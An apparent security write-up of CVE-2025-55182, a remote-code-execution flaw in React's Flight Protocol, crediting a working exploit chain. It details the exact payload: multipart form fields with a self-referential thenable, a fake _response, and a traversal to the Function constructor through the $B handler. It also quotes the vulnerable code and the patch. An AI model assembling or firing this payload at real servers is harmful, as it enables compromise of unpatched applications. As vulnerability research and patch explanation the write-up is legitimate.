
Detailed technical analysis and proof-of-concept exploit for CVE-2025-55182, a critical RCE vulnerability in React's Flight Protocol. Covers path traversal, fake chunk injection, and WAF bypass techniques.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains path traversal + fake chunk injection + $B handler abuse to execute Function(attacker_code).
Big thanks to maple3142 for the working exploitation chain!
The exploit uses three form fields to construct a malicious payload:
then (field 1 $@0 → field 0)_response with _formData.get set to $1:constructor:constructor$B handler which calls response._formData.get(response._prefix + id)_formData.get → Function, executing Function(code)┌─────────────────────────────────────────────────────────────────────┐
│ 1. Attacker sends multipart form with fake chunk object │
│ → decodeReply() parses form fields 0, 1, 2 │
│ → Object has: then, status, value, _response │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. Self-reference makes object thenable with real function │
│ → then: "$1:__proto__:then" → Chunk.prototype.then │
│ → Chunk.prototype.then(this) calls initializeModelChunk(this) │
│ → Uses this._response (attacker's fake _response) │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. parseModelString() handles "$B1337" reference │
│ → case "B": return response._formData.get(response._prefix+id) │
│ → Calls _formData.get with attacker's _prefix + "1337" │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │
│ → "$1:constructor:constructor" traverses prototype chain │
│ → Returns Function constructor │
│ → Function(code + "1337") → RCE │
└─────────────────────────────────────────────────────────────────────┘
| Component | Purpose |
|---|---|
then: "$1:__proto__:then" | Self-referential thenable; chunk 1 ($@0) points back to chunk 0 |
status: "resolved_model" | Makes object appear as valid React chunk |
reason: -1 | Sets rootReference to undefined (avoids reference conflicts) |
value: '{"then":"$B1337"}' | Nested payload that triggers $B handler |
_response._prefix | Contains the RCE code string |
_response._chunks: "$Q2" | Empty Map to prevent crashes during chunk processing |
_response._formData.get | Points to Function via $1:constructor:constructor |
The exploit uses three form fields with circular references:
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)The then: "$1:__proto__:then" creates a self-reference that resolves to a real function:
$1:__proto__:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.__proto__.then → Chunk.prototype.then (actual function!)
Why this is critical:
then resolves to Chunk.prototype.then - a real callable functionobj.then(resolve, reject)Chunk.prototype.then executes with fake object as this:Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) uses this._response - the attacker's fake _response:value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);
Without the self-reference, the fake _response would never be used. The self-reference makes Chunk.prototype.then treat the attacker's object as a real Chunk.
value)The value field contains a nested JSON string with another thenable:
{"then":"$B1337"}
Stage 1: Outer object's self-referential then triggers chunk processing
Stage 2: When React resolves the model, it parses value and encounters another thenable with then: "$B1337". The $B prefix triggers the handler:
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
_formData.get is "$1:constructor:constructor" → getOutlinedModel() resolves to Function.
This becomes: Function(code + "1337") → valid JS because 1337 is just a trailing expression.
_chunks)The fake _response needs a valid _chunks property to prevent crashes:
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React's internal code may access response._chunks.get() or response._chunks.has() during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable $B handler.
| Path | Function | Purpose in Exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() | Resolves $1:constructor:constructor → Function |
Fake _response Injection | initializeModelChunk() | Uses attacker's chunk._response |
$B Handler | parseModelString() | Calls _formData.get(_prefix + id) → RCE |
decodeReply() is the entry point, not vulnerable itself.
Path Traversal (getOutlinedModel()):
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
Fake Response Usage (initializeModelChunk()):
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):
case "B":
return response._formData.get(response._prefix + obj); // RCE!
The patch includes multiple fixes:
RESPONSE_SYMBOL in initializeModelChunk() - Critical fix
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty check in getOutlinedModel() - Blocks prototype traversal
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ handling in reviveModel() - Prevents prototype pollution
void 0 !== parentObj || "__proto__" === i
? (value[i] = parentObj)
: delete value[i];
Type check in initializeModelChunk() - Validates listeners
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);